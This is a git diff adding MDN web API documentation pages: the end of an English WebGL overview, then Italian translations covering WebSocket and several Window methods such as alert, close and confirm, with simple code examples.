+ <li>{{domxref("WebGLActiveInfo")}}</li>
+ <li>{{domxref("WebGLBuffer")}}</li>
+ <li>{{domxref("WebGLContextEvent")}}</li>
+ <li>{{domxref("WebGLFramebuffer")}}</li>
+ <li>{{domxref("WebGLProgram")}}</li>
+ <li>{{domxref("WebGLQuery")}}</li>
+ <li>{{domxref("WebGLRenderbuffer")}}</li>
+ <li>{{domxref("WebGLSampler")}}</li>
+ <li>{{domxref("WebGLShader")}}</li>
+ <li>{{domxref("WebGLShaderPrecisionFormat")}}</li>
+ <li>{{domxref("WebGLSync")}}</li>
+ <li>{{domxref("WebGLTexture")}}</li>
+ <li>{{domxref("WebGLTransformFeedback")}}</li>
+ <li>{{domxref("WebGLUniformLocation")}}</li>
+ <li>{{domxref("WebGLVertexArrayObject")}}</li>
+</ul>
+</div>
+
+<h3 id="Extensions">Extensions</h3>
+
+<div class="index">
+<ul>
+ <li>{{domxref("ANGLE_instanced_arrays")}}</li>
+ <li>{{domxref("EXT_blend_minmax")}}</li>
+ <li>{{domxref("EXT_color_buffer_float")}}</li>
+ <li>{{domxref("EXT_color_buffer_half_float")}}</li>
+ <li>{{domxref("EXT_disjoint_timer_query")}}</li>
+ <li>{{domxref("EXT_float_blend")}} {{experimental_inline}}</li>
+ <li>{{domxref("EXT_frag_depth")}}</li>
+ <li>{{domxref("EXT_sRGB")}}</li>
+ <li>{{domxref("EXT_shader_texture_lod")}}</li>
+ <li>{{domxref("EXT_texture_compression_bptc")}}</li>
+ <li>{{domxref("EXT_texture_compression_rgtc")}}</li>
+ <li>{{domxref("EXT_texture_filter_anisotropic")}}</li>
+ <li>{{domxref("KHR_parallel_shader_compile")}}</li>
+ <li>{{domxref("OES_element_index_uint")}}</li>
+ <li>{{domxref("OES_fbo_render_mipmap")}}</li>
+ <li>{{domxref("OES_standard_derivatives")}}</li>
+ <li>{{domxref("OES_texture_float")}}</li>
+ <li>{{domxref("OES_texture_float_linear")}}</li>
+ <li>{{domxref("OES_texture_half_float")}}</li>
+ <li>{{domxref("OES_texture_half_float_linear")}}</li>
+ <li>{{domxref("OES_vertex_array_object")}}</li>
+ <li>{{domxref("OVR_multiview2")}}</li>
+ <li>{{domxref("WEBGL_color_buffer_float")}}</li>
+ <li>{{domxref("WEBGL_compressed_texture_astc")}}</li>
+ <li>{{domxref("WEBGL_compressed_texture_atc")}}</li>
+ <li>{{domxref("WEBGL_compressed_texture_etc")}}</li>
+ <li>{{domxref("WEBGL_compressed_texture_etc1")}}</li>
+ <li>{{domxref("WEBGL_compressed_texture_pvrtc")}}</li>
+ <li>{{domxref("WEBGL_compressed_texture_s3tc")}}</li>
+ <li>{{domxref("WEBGL_compressed_texture_s3tc_srgb")}}</li>
+ <li>{{domxref("WEBGL_debug_renderer_info")}}</li>
+ <li>{{domxref("WEBGL_debug_shaders")}}</li>
+ <li>{{domxref("WEBGL_depth_texture")}}</li>
+ <li>{{domxref("WEBGL_draw_buffers")}}</li>
+ <li>{{domxref("WEBGL_lose_context")}}</li>
+</ul>
+</div>
+
+<h3 id="Events">Events</h3>
+
+<ul>
+ <li>{{domxref("HTMLCanvasElement/webglcontextlost_event", "webglcontextlost")}}</li>
+ <li>{{domxref("HTMLCanvasElement/webglcontextrestored_event", "webglcontextrestored")}}</li>
+ <li>{{domxref("HTMLCanvasElement/webglcontextcreationerror_event", "webglcontextcreationerror")}}</li>
+</ul>
+
+<h3 id="Constants_and_types">Constants and types</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebGL_API/Constants">WebGL constants</a></li>
+ <li><a href="/en-US/docs/Web/API/WebGL_API/Types">WebGL types</a></li>
+</ul>
+
+<h3 id="WebGL_2">WebGL 2</h3>
+
+<p>WebGL 2 is a major update to WebGL which is provided through the {{domxref("WebGL2RenderingContext")}} interface. It is based on OpenGL ES 3.0 and new features include:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebGL2RenderingContext/texImage3D">3D textures</a>,</li>
+ <li><a href="/en-US/docs/Web/API/WebGLSampler">Sampler objects</a>,</li>
+ <li><a href="/en-US/docs/Web/API/WebGL2RenderingContext#Uniform_buffer_objects">Uniform Buffer objects</a>,</li>
+ <li><a href="/en-US/docs/Web/API/WebGLSync">Sync objects</a>,</li>
+ <li><a href="/en-US/docs/Web/API/WebGLQuery">Query objects</a>,</li>
+ <li><a href="/en-US/docs/Web/API/WebGLTransformFeedback">Transform Feedback objects</a>,</li>
+ <li>Promoted extensions that are now core to WebGL 2: <a href="/en-US/docs/Web/API/WebGLVertexArrayObject">Vertex Array objects</a>, <a href="/en-US/docs/Web/API/WebGL2RenderingContext/drawArraysInstanced">instancing</a>, <a href="/en-US/docs/Web/API/WebGL2RenderingContext/drawBuffers">multiple render targets</a>, <a href="/en-US/docs/Web/API/EXT_frag_depth">fragment depth</a>.</li>
+</ul>
+
+<p>See also the blog post <a href="https://hacks.mozilla.org/2017/01/webgl-2-lands-in-firefox/">"WebGL 2 lands in Firefox"</a> and <a href="http://webglsamples.org/WebGL2Samples/">webglsamples.org/WebGL2Samples</a> for a few demos.</p>
+
+<h2 id="Guides_and_tutorials">Guides and tutorials</h2>
+
+<p>Below, you'll find an assortment of guides to help you learn WebGL concepts and tutorials that offer step-by-step lessons and examples.</p>
+
+<h3 id="Guides">Guides</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Data">Data in WebGL</a></dt>
+ <dd>A guide to variables, buffers, and other types of data used when writing WebGL code.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/WebGL_best_practices">WebGL best practices</a></dt>
+ <dd>Tips and suggestions to help you improve the quality, performance, and reliability of your WebGL content.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Using_Extensions">Using extensions</a></dt>
+ <dd>A guide to using WebGL extensions.</dd>
+</dl>
+
+<h3 id="Tutorials">Tutorials</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial">WebGL tutorial</a></dt>
+ <dd>A beginner's guide to WebGL core concepts. A good place to start if you don't have previous WebGL experience.</dd>
+</dl>
+
+<h3 id="Examples">Examples</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Basic_2D_animation_example">A basic 2D WebGL animation example</a></dt>
+ <dd>This example demonstrates the simple animation of a one-color shape. Topics examined are adapting to aspect ratio differences, a function to build shader programs from sets of multiple shaders, and the basics of drawing in WebGL.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/By_example">WebGL by example</a></dt>
+ <dd>A series of live samples with short explanations that showcase WebGL concepts and capabilities. The examples are sorted according to topic and level of difficulty, covering the WebGL rendering context, shader programming, textures, geometry, user interaction, and more.</dd>
+</dl>
+
+<h3 id="Advanced_tutorials">Advanced tutorials</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/WebGL_model_view_projection">WebGL model view projection</a></dt>
+ <dd>A detailed explanation of the three core matrices that are typically used to represent a 3D object view: the model, view and projection matrices.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Matrix_math_for_the_web">Matrix math for the web</a></dt>
+ <dd>A useful guide to how 3D transform matrices work, and can be used on the web — both for WebGL calculations and in CSS3 transforms.</dd>
+</dl>
+
+<h2 id="Resources">Resources</h2>
+
+<ul>
+ <li><a href="https://www.youtube.com/embed/H4c8t6myAWU/?feature=player_detailpage">Raw WebGL: An introduction to WebGL</a> A talk by Nick Desaulniers that introduces the basics of WebGL. This is a great place to start if you've never done low-level graphics programming.</li>
+ <li><a href="http://www.khronos.org/webgl/" title="http://www.khronos.org/webgl/">Khronos WebGL site</a> The main web site for WebGL at the Khronos Group.</li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/webgl/webgl_fundamentals/" title="http://www.html5rocks.com/en/tutorials/webgl/webgl_fundamentals/">WebGL Fundamentals</a> A basic tutorial with fundamentals of WebGL.</li>
+ <li><a href="http://webglplayground.net" title="http://webglplayground.net">WebGL playground</a> An online tool for creating and sharing WebGL projects. Good for quick prototyping and experimenting.</li>
+ <li><a href="http://www.webglacademy.com" title="http://www.webglacademy.com">WebGL Academy</a> An HTML/JavaScript editor with tutorials to learn basics of webgl programming.</li>
+ <li><a href="http://webglstats.com/">WebGL Stats</a> A site with statistics about WebGL capabilities in browsers on different platforms.</li>
+</ul>
+
+<h3 id="Libraries">Libraries</h3>
+
+<ul>
+ <li><a class="link-https" href="https://github.com/toji/gl-matrix" title="https://github.com/toji/gl-matrix">glMatrix</a> is a JavaScript matrix and vector library for high-performance WebGL apps.</li>
+ <li><a href="http://senchalabs.github.com/philogl/">PhiloGL</a> is a WebGL framework for data visualization, creative coding, and game development.</li>
+ <li><a href="http://www.pixijs.com/">Pixi.js</a> is a fast, open-source 2D WebGL renderer.</li>
+ <li><a href="https://playcanvas.com/">PlayCanvas</a> is an open-source game engine.</li>
+ <li><a href="http://sylvester.jcoglan.com/" title="http://sylvester.jcoglan.com/">Sylvester</a> is an open-source library for manipulating vectors and matrices. Not optimized for WebGL but extremely robust.</li>
+ <li><a href="https://threejs.org/">three.js</a> is an open-source, fully featured 3D WebGL library.</li>
+ <li><a href="https://phaser.io/">Phaser</a> is a fast, free and fun open source framework for Canvas and WebGL powered browser games.</li>
+ <li><a href="https://github.com/redcamel/RedGL2">RedGL</a> is an open-source 3D WebGL library.</li>
+ <li><a href="https://kitware.github.io/vtk-js/">vtk.js</a> is a JavaScript library for scientific visualization in your browser.</li>
+</ul>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('OpenGL ES 3.0')}}</td>
+   <td>{{Spec2('OpenGL ES 3.0')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0')}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL2')}}</td>
+   <td>{{Spec2('WebGL2')}}</td>
+   <td>Builds on top of WebGL 1. Based on OpenGL ES 3.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL')}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Initial definition. Based on OpenGL ES 2.0</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<h3 id="WebGL_1">WebGL 1</h3>
+
+<div>
+
+
+<p>{{Compat("api.WebGLRenderingContext", 0)}}</p>
+
+<h3 id="WebGL_2_2">WebGL 2</h3>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("api.WebGL2RenderingContext", 0)}}</p>
+</div>
+
+<h3 id="Compatibility_notes">Compatibility notes</h3>
+
+<p>In addition to the browser, the GPU itself also needs to support the feature. So, for example, S3 Texture Compression (S3TC) is only available on Tegra-based tablets. Most browsers make the WebGL context available through the <code>webgl</code> context name, but older ones need <code>experimental-webgl</code> as well. In addition, the upcoming <a href="/en-US/docs/Web/API/WebGL2RenderingContext">WebGL 2</a> is fully backwards-compatible and will have the context name <code>webgl2</code>.</p>
+
+<h3 id="Gecko_notes">Gecko notes</h3>
+
+<h4 id="WebGL_debugging_and_testing">WebGL debugging and testing</h4>
+
+<p>Starting with Gecko 10.0 {{geckoRelease("10.0")}}, there are two preferences available which let you control the capabilities of WebGL for testing purposes:</p>
+
+<dl>
+ <dt><code>webgl.min_capability_mode</code></dt>
+ <dd>A Boolean property that, when <code>true</code>, enables a minimum capability mode. When in this mode, WebGL is configured to only support the bare minimum feature set and capabilities required by the WebGL specification. This lets you ensure that your WebGL code will work on any device or browser, regardless of their capabilities. This is <code>false</code> by default.</dd>
+ <dt><code>webgl.disable_extensions</code></dt>
+ <dd>A Boolean property that, when <code>true</code>, disables all WebGL extensions. This is <code>false</code> by default.</dd>
+</dl>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Canvas_API">Canvas API</a></li>
+ <li><a href="/en-US/docs/Web/API/WebGLRenderingContext/getSupportedExtensions#Browser_compatibility">Compatibility info about WebGL extensions</a></li>
+</ul>
diff --git a/files/it/web/api/websocket/index.html b/files/it/web/api/websocket/index.html
new file mode 100644
index 0000000000..af8738a82a
--- /dev/null
+++ b/files/it/web/api/websocket/index.html
@@ -0,0 +1,148 @@
+---
+title: WebSocket
+slug: Web/API/WebSocket
+tags:
+  - API
+  - NeedsContent
+  - NeedsTranslation
+  - TopicStub
+  - WebSocket
+  - WebSockets
+translation_of: Web/API/WebSocket
+---
+<div>{{APIRef("Web Sockets API")}}</div>
+
+<p>The <code>WebSocket</code> object provides the API for creating and managing a <a href="/en-US/docs/Web/API/WebSockets_API">WebSocket</a> connection to a server, as well as for sending and receiving data on the connection.</p>
+
+<p>To construct a <code>WebSocket</code>, use the <code><a href="/en-US/docs/Web/API/WebSocket/WebSocket">WebSocket()</a></code> constructor.</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("WebSocket.WebSocket", "WebSocket(url[, protocols])")}}</dt>
+ <dd>Returns a newly created <code>WebSocket</code> object.</dd>
+</dl>
+
+<h2 id="Constants">Constants</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Constant</td>
+   <td class="header">Value</td>
+  </tr>
+  <tr>
+   <td><code>WebSocket.CONNECTING</code></td>
+   <td><code>0</code></td>
+  </tr>
+  <tr>
+   <td><code>WebSocket.OPEN</code></td>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <td><code>WebSocket.CLOSING</code></td>
+   <td><code>2</code></td>
+  </tr>
+  <tr>
+   <td><code>WebSocket.CLOSED</code></td>
+   <td><code>3</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("WebSocket.binaryType")}}</dt>
+ <dd>The binary data type used by the connection.</dd>
+ <dt>{{domxref("WebSocket.bufferedAmount")}} {{readonlyinline}}</dt>
+ <dd>The number of bytes of queued data.</dd>
+ <dt>{{domxref("WebSocket.extensions")}} {{readonlyinline}}</dt>
+ <dd>The extensions selected by the server.</dd>
+ <dt>{{domxref("WebSocket.onclose")}}</dt>
+ <dd>An event listener to be called when the connection is closed.</dd>
+ <dt>{{domxref("WebSocket.onerror")}}</dt>
+ <dd>An event listener to be called when an error occurs.</dd>
+ <dt>{{domxref("WebSocket.onmessage")}}</dt>
+ <dd>An event listener to be called when a message is received from the server.</dd>
+ <dt>{{domxref("WebSocket.onopen")}}</dt>
+ <dd>An event listener to be called when the connection is opened.</dd>
+ <dt>{{domxref("WebSocket.protocol")}} {{readonlyinline}}</dt>
+ <dd>The sub-protocol selected by the server.</dd>
+ <dt>{{domxref("WebSocket.readyState")}} {{readonlyinline}}</dt>
+ <dd>The current state of the connection.</dd>
+ <dt>{{domxref("WebSocket.url")}} {{readonlyinline}}</dt>
+ <dd>The absolute URL of the WebSocket.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("WebSocket.close", "WebSocket.close([code[, reason]])")}}</dt>
+ <dd>Closes the connection.</dd>
+ <dt>{{domxref("WebSocket.send", "WebSocket.send(data)")}}</dt>
+ <dd>Enqueues data to be transmitted.</dd>
+</dl>
+
+<h2 id="Events">Events</h2>
+
+<p>Listen to these events using <code>addEventListener()</code> or by assigning an event listener to the <code>on<em>eventname</em></code> property of this interface.</p>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/API/WebSocket/close_event">close</a></code></dt>
+ <dd>Fired when a connection with a <code>WebSocket</code> is closed.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/WebSocket/onclose">onclose</a></code> property</dd>
+ <dt><code><a href="/en-US/docs/Web/API/WebSocket/error_event">error</a></code></dt>
+ <dd>Fired when a connection with a <code>WebSocket</code>has been closed because of an error, such as when some data couldn't be sent.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/WebSocket/onerror">onerror</a></code> property.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/WebSocket/message_event">message</a></code></dt>
+ <dd>Fired when data is received through a <code>WebSocket</code>.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/WebSocket/onmessage">onmessage</a></code> property.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/WebSocket/open_event">open</a></code></dt>
+ <dd>Fired when a connection with a <code>WebSocket</code>is opened.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/WebSocket/onopen">onopen</a></code> property.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">// Create WebSocket connection.
+const socket = new WebSocket('ws://localhost:8080');
+
+// Connection opened
+socket.addEventListener('open', function (event) {
+    socket.send('Hello Server!');
+});
+
+// Listen for messages
+socket.addEventListener('message', function (event) {
+    console.log('Message from server ', event.data);
+});</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "#the-websocket-interface", "WebSocket")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.WebSocket")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebSockets_API/Writing_WebSocket_client_applications">Writing WebSocket client applications</a></li>
+</ul>
diff --git a/files/it/web/api/websocket/websocket/index.html b/files/it/web/api/websocket/websocket/index.html
new file mode 100644
index 0000000000..8170b8aead
--- /dev/null
+++ b/files/it/web/api/websocket/websocket/index.html
@@ -0,0 +1,48 @@
+---
+title: WebSocket()
+slug: Web/API/WebSocket/WebSocket
+translation_of: Web/API/WebSocket/WebSocket
+---
+<p>{{APIRef("Web Sockets API")}}</p>
+<p>Il costruttore <code><strong>WebSocket()</strong></code> restituisce un nuovo oggetto WebSocket {{domxref("WebSocket")}}.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">var <em>aWebSocket</em> = new WebSocket(<em>url</em> [, protocols]);</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>url</code></dt>
+ <dd>Corrisponde al URL al quale ci si vuole connetterse, questo dovrebbe essere l'URL a cui risponderà il server WebSocket.</dd>
+ <dt><code>protocols</code> {{optional_inline}}</dt>
+ <dd>una singola stringa di protocollo o un array di stringhe di protocollo. Queste stringhe vengono utilizzate per indicare i sub-protocolli, in modo che un server possa implementare più sub-protocolli WebSocket (ad esempio, è possibile che un server sia in grado di gestire diversi tipi di interazioni a seconda del protocollo specificato). Se non si specifica una stringa di protocollo, si presume una stringa vuota.</dd>
+</dl>
+
+<h3 id="Exceptions_thrown">Exceptions thrown</h3>
+
+<dl>
+ <dt><code>SECURITY_ERR</code></dt>
+ <dd>La porta a cui si sta tentando la connessione risulta bloccata.</dd>
+</dl>
+
+<h2 id="Specifice">Specifice</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-websocket', 'the WebSocket constructor')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibili">Browser compatibili</h2>
+
+<div class="hidden">La tabella di compatibilità in questa pagina è generata da dati strutturati. Se desideri contribuire ai dati, controlla <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e inviaci una richiesta.</div>
diff --git a/files/it/web/api/window/alert/index.html b/files/it/web/api/window/alert/index.html
new file mode 100644
index 0000000000..bfbb04052c
--- /dev/null
+++ b/files/it/web/api/window/alert/index.html
@@ -0,0 +1,36 @@
+---
+title: Window.alert()
+slug: Web/API/Window/alert
+translation_of: Web/API/Window/alert
+---
+<p id="Sommario">{{ APIRef }}</p>
+
+<p>Mostra una finestra di avviso contenente il testo specificato.</p>
+
+<h2 id="Sintassi" name="Sintassi">Sintassi</h2>
+
+<pre class="eval">window.alert(<i>messaggio</i>);
+</pre>
+
+<ul>
+ <li><code>messaggio</code> è la stringa di testo che si vuol fare apparire nella finestra</li>
+</ul>
+
+<h2 id="Esempio" name="Esempio">Esempio</h2>
+
+<pre class="eval">window.alert("Ciao, mondo!");
+// il prefisso "window." <a href="it/DOM/window.window">è opzionale</a>, quindi
+// alert("Ciao, mondo!"); ha lo stesso effetto
+</pre>
+
+<h2 id="Note" name="Note">Note</h2>
+
+<p>La finestra di avviso dovrebbe essere utilizzata per i messaggi che non richiedono alcuna risposta da parte dell'utente, se non la conferma che tale messaggio è stato letto.</p>
+
+<p>Le finestre di dialogo sono finestre modali, cioè impediscono all'utente di permettere al resto dell'interfaccia del programma finchè la finestra non è chiusa. Non si dovrebbe abusare delle funzioni che creano questo tipo di finestre.</p>
+
+<p>I programmatori che utilizzano Chrome (per esempio per le estensioni) dovrebbero utilizzare u netidi di <a href="it/NsIPromptService">nsIPromptService</a>, invece di alert.</p>
+
+<h2 id="Specifiche" name="Specifiche">Specifiche</h2>
+
+<p>HTML5</p>
diff --git a/files/it/web/api/window/back/index.html b/files/it/web/api/window/back/index.html
new file mode 100644
index 0000000000..7b24f97b28
--- /dev/null
+++ b/files/it/web/api/window/back/index.html
@@ -0,0 +1,27 @@
+---
+title: Window.back()
+slug: Web/API/Window/back
+translation_of: Web/API/Window/back
+---
+<div>{{APIRef}}{{ Non-standard_header() }} {{ obsolete_header(31) }}</div>
+
+<h2 id="Sommario" name="Sommario">Sommario</h2>
+
+<p>Riporta la finestra corrente all'ultima pagina visitata, o alla pagina più indietro nella Cronologia del browser.</p>
+
+<h2 id="Sintassi" name="Sintassi">Sintassi</h2>
+
+<pre class="eval">window.back()
+</pre>
+
+<h2 id="Esempio" name="Esempio">Esempio</h2>
+
+<pre>function vaiIndietro() {
+   if ( possoAndareIndietro )
+      window.back();
+}
+</pre>
+
+<h2 id="Specifiche" name="Specifiche">Specifiche</h2>
+
+<p>DOM Level 0. Non è parte di alcuno standard.</p>
diff --git a/files/it/web/api/window/blur/index.html b/files/it/web/api/window/blur/index.html
new file mode 100644
index 0000000000..de26372766
--- /dev/null
+++ b/files/it/web/api/window/blur/index.html
@@ -0,0 +1,26 @@
+---
+title: Window.blur()
+slug: Web/API/Window/blur
+translation_of: Web/API/Window/blur
+---
+<p id="Sommario">{{APIRef}}</p>
+
+<p>Deseleziona la finestra, come se l'utente avesse cliccato altrove.</p>
+
+<h2 id="Sintassi" name="Sintassi">Sintassi</h2>
+
+<pre class="eval">window.blur()
+</pre>
+
+<h2 id="Esempio" name="Esempio">Esempio</h2>
+
+<pre class="eval">window.blur();
+</pre>
+
+<h2 id="Note" name="Note">Note</h2>
+
+<p>Non ha effetto se la finestra non è selezionata. Si veda anche <a href="it/DOM/window.focus">window.focus</a>.</p>
+
+<h2 id="Specifiche" name="Specifiche">Specifiche</h2>
+
+<p>DOM Level 0. Non è parte di alcuno standard.</p>
diff --git a/files/it/web/api/window/close/index.html b/files/it/web/api/window/close/index.html
new file mode 100644
index 0000000000..de07d87f7b
--- /dev/null
+++ b/files/it/web/api/window/close/index.html
@@ -0,0 +1,72 @@
+---
+title: Window.close()
+slug: Web/API/Window/close
+translation_of: Web/API/Window/close
+---
+<p>{{APIRef}}</p>
+
+<p>Il metodo <code><strong>Window.close()</strong></code> chiude la finestra corrente, oppure quella sulla quale è invocato.</p>
+
+<p>Questo metodo può essere invocato solo su finestre che sono state aperte da uno script  utilizzando il metodo {{domxref("window.open()")}}. Se la finestra non è stata aperta mediante script, nella Console JavaScript apparirà il seguente errore: <code>Scripts may not close windows that were not opened by script.</code></p>
+
+<h2 id="Syntax" name="Syntax">Sintassi</h2>
+
+<pre class="syntaxbox">window.close();</pre>
+
+<h2 id="Examples" name="Examples">Esempi</h2>
+
+<h3 id="Closing_a_window_opened_with_window.open.28.29" name="Closing_a_window_opened_with_window.open.28.29">Chiudere una finestra aperta mediante <code>window.open()</code></h3>
+
+<p>Questo esempio mostra come chiudere una finestra aperta da uno script mediante l'invocazione di {{domxref("window.open()")}}.</p>
+
+<pre>&lt;script&gt;
+//Variabile globale in cui si memorizza un riferimento alla finestra aperta
+var openedWindow;
+
+function openWindow()
+{
+  openedWindow = window.open('moreinfo.htm');
+}
+
+function closeOpenedWindow()
+{
+  openedWindow.close();
+}
+&lt;/script&gt;
+</pre>
+
+<h3 id="Closing_the_current_window" name="Closing_the_current_window">Chiudere la finestra corrente</h3>
+
+<p>Quando si invoca direttamente il metodo <code>close() sull'oggetto<font face="Open Sans, Arial, sans-serif"> </font></code><code>window</code>, piuttosto che invocare <code>close()</code> su una <strong>istanza</strong> di <code>window</code>, il browser chiuderà la finestra in primo piano, indipendentemente dal fatto che uno script abbia creato quella finestra oppure no.  (Firefox 35.0.1: gli script non possono chiudere una finestra che non hanno aperto)</p>
+
+<pre>&lt;script&gt;
+function closeCurrentWindow()
+{
+  window.close();
+}
+&lt;/script&gt;
+</pre>
+
+<h2 id="Specification" name="Specification">Specifica</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-window-close', 'window.close()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Window.close")}}</p>
diff --git a/files/it/web/api/window/closed/index.html b/files/it/web/api/window/closed/index.html
new file mode 100644
index 0000000000..66152b63e7
--- /dev/null
+++ b/files/it/web/api/window/closed/index.html
@@ -0,0 +1,66 @@
+---
+title: Window.closed
+slug: Web/API/Window/closed
+translation_of: Web/API/Window/closed
+---
+<div>{{APIRef}}</div>
+
+<p>Questa proprietà indica se la finestra è chiusa.</p>
+
+<h2 id="Sintassi" name="Sintassi">Sintassi</h2>
+
+<pre class="eval">var <var>isClosed</var> = window.closed;
+</pre>
+
+<p>Questa proprietà è di sola lettura.</p>
+
+<h3 id="Valori_restituiti" name="Valori_restituiti">Valori restituiti</h3>
+
+<dl>
+ <dt><code>isClosed</code></dt>
+ <dd>un booleano; valori possibili:</dd>
+</dl>
+
+<ul>
+ <li><code>true</code>: la finestra è stata chiusa</li>
+ <li><code>false</code>: la finestra è aperta</li>
+</ul>
+
+<h2 id="Esempi" name="Esempi">Esempi</h2>
+
+<h4 id="Cambiare_l.27URL_di_una_finestra_da_una_popup" name="Cambiare_l.27URL_di_una_finestra_da_una_popup">Cambiare l'URL di una finestra da una popup</h4>
+
+<p>L'esempio seguente mostra come una finestra popup possa contenere codice JavaScript che modifichi l'URL della finestra che l'ha generata. Prima di tentare di modificare l'URL, controlleremo che la finestra corrente (la popup, appunto) abbia una "opener" utilizzando la proprietà <a href="it/DOM/window.opener">window.opener</a> e che l'opener non sia chiusa:</p>
+
+<pre>// controllo che l'opener esista e non sia chiusa
+if (window.opener &amp;&amp; !window.opener.closed) {
+  window.opener.location.href = "http://www.mozilla.org";
+}
+</pre>
+
+<p>Si noti che le popup possono accedere solo a se stesse e alle finestre che le hanno generate.</p>
+
+<h4 id="Ricaricare_una_popup" name="Ricaricare_una_popup">Ricaricare una popup</h4>
+
+<p>In questo esempio la funzione <code>aggiornaPopup()</code> chiama il metodo <code>reload()</code> dell'oggetto <code>location</code> della popup per aggiornare il suo contenuto. Se la popup non è stata ancora aperta o l'utente l'ha chiusa, viene aperta una nuova finestra.</p>
+
+<pre>var finestraPopup = null;
+
+function aggiornaPopup() {
+  if (popupWindow &amp;&amp; !popupWindow.closed) {
+    // finestraPopup è aperta, la aggiorno
+    finestraPopup.location.reload(true);
+  } else {
+    // apro una nuova popup
+    finestraPopup = window.open("popup.html","miaPopup");
+  }
+}
+</pre>
+
+<h2 id="Specifiche" name="Specifiche">Specifiche</h2>
+
+<p>DOM Level 0. Non è parte di alcuno standard.</p>
+
+<h2 id="Altre_risorse" name="Altre_risorse">Altre risorse</h2>
+
+<p><a class="external" href="http://msdn.microsoft.com/library/default.asp?url=/workshop/author/dhtml/reference/properties/closed.asp">MSDN window.closed</a></p>
diff --git a/files/it/web/api/window/confirm/index.html b/files/it/web/api/window/confirm/index.html
new file mode 100644
index 0000000000..215e3091e5
--- /dev/null
+++ b/files/it/web/api/window/confirm/index.html
@@ -0,0 +1,47 @@
+---
+title: Window.confirm()
+slug: Web/API/Window/confirm
+tags:
+  - Window
+  - confirm
+translation_of: Web/API/Window/confirm
+---
+<div>{{ApiRef("Window")}}</div>
+
+<p>Mostra una finestra di dialogo con un messaggio (opzionale) e due bottoni: OK e Annulla.</p>
+
+<h2 id="Sintassi" name="Sintassi">Sintassi</h2>
+
+<pre class="eval notranslate"><em>input</em> = window.confirm(<em>messaggio</em>);
+</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<p><strong><code>messaggio</code></strong><br>
+      Una stringa che viene mostrata nella finestra di dialogo.</p>
+
+<h3 id="Valore_ritornato"><span>Valore ritornato</span></h3>
+
+<p><strong><code>input</code></strong><br>
